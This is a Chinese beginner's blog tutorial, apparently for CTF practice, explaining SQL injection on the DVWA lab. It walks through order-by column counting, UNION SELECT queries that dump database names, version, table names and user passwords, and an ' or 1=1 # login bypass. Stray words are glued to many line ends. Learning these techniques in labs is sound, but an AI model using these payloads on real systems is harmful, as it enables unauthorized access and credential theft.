前言:最近打算玩一下CTF,玩过CTF的都知道SQL注入是CTF中最重要的题型。可是。。。。。。。。。不少大佬的WP都是一阵操做猛如虎。不少都不带解释的(大佬以为简单因此就不解释了=_= =_= =_=)。因此这几天一直都在看关于SQL注入的文章,一直也不理解SQL注入的原理。今天恰好看到了一篇文章,本身也跟着那个博主的思路总结一下,对SQL注入有了一个大概的的理解。写这篇博文一是但愿加深本身对SQL注入的理解二也但愿能帮助那些还不是特别理解SQL注入的人mysql
参考 连接 https://www.jianshu.com/p/078df7a35671linux
SQL注入sql
一. Sql注入入门知识点总结数据库
1) 设想这样的一个场景当咱们要输入一个用户id,咱们输入栏中输入1ubuntu
这时候其实在后台执行的代码为服务器
SELECT first_name, last_name FROM users WHERE user_id = '1';网站
2) 若是咱们不按常理出牌而是在输入框中输入1‘ order by 1#操作系统
那么这时候后台执行的代码就变成了:orm
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #‘(按照sql的语法#起注释做用因此#后面的单引号就被注释掉了)blog
当咱们输入order by 1的时候可能不会报错那么咱们这时候能够尝试 23456,直到报错为止
假如当数字等于3的时候报错,那说明当前表只有两个字段而且只有2列
Union select运算符能够将两个或者两个以上的select语句查询结果集合合并成一个结果集合显示,即执行联合查询须要注意的是使用union查询的时候须要和主查询的列数相等,并且咱们以前已经知道主查询的列数是2,接下来就好办了
1) 这时候咱们输入1‘ union select database(),user()#进行查询
l Database()将会返回当前网站所使用的数据库名字
l User()将会返回执行当前查询的用户名
实际执行的sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #;
经过查询的结果咱们能够清晰的看出
u 当前执行查询用户名为root@localhost
u 当前使用的数据库是dvwa
2) 接下来咱们尝试获取输入1' union select version(),@@version_compile_os#进行查询
u version() 获取当前数据库版本.
u @@version_compile_os 获取当前操做系统
实际执行的sql语句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
db的版本以及操做系统的类型
u 当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
u 当前操做系统为 : debian-linux-gnu
3) 接下来咱们尝试获取dvwa数据库中表名
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器全部数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
咱们输入1‘ union select table_names,table_schema from information_schema.tables where table_schema = ‘dvwa’ #
实际执行的的sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
经过查询的结果咱们能够清晰的看出
l Dvwa数据库有两个数据表,分别是guestbook,和users
4) 接下来咱们尝试获取重量级用户名和密码
由经验咱们能够大胆猜想users数据表里面的字段是user 和password因此输入:
1’ union select user,password from users #
实际执行的的sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
经过查询的结果咱们能够清晰的看出
l 用户名以及密码
二. Sql注入实验二验证绕过
如过咱们随便输入 好比 23 232 这时候会报错
咱们能够尝试输入 123 ‘ or 1=1 123 ‘ or 1=1
这时候咱们能够看到
这时候咱们不由会想为何呢?下面咱们就来分析一下
实际执行的的sql语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照mysql的语法#后面的东西会被忽略掉因此即使咱们即使输入 ‘ or 1=1 #(密码栏不输入东西结果也是同样的)
因为判断语句 or 1=1 恒成立因此无论前面输入的什么都能成功登录
咱们不在尝试使用#屏蔽单引号,采用手动闭合式
123‘ or ‘1’ =’1 这样一样能登录成功
后记:SQL注入须要大量的练习以及经验的总结,这里仅仅介绍了一些最基本的一些玩法,后面若是遇到一些好玩的注入我也会在这里分享。
未完待续。。。。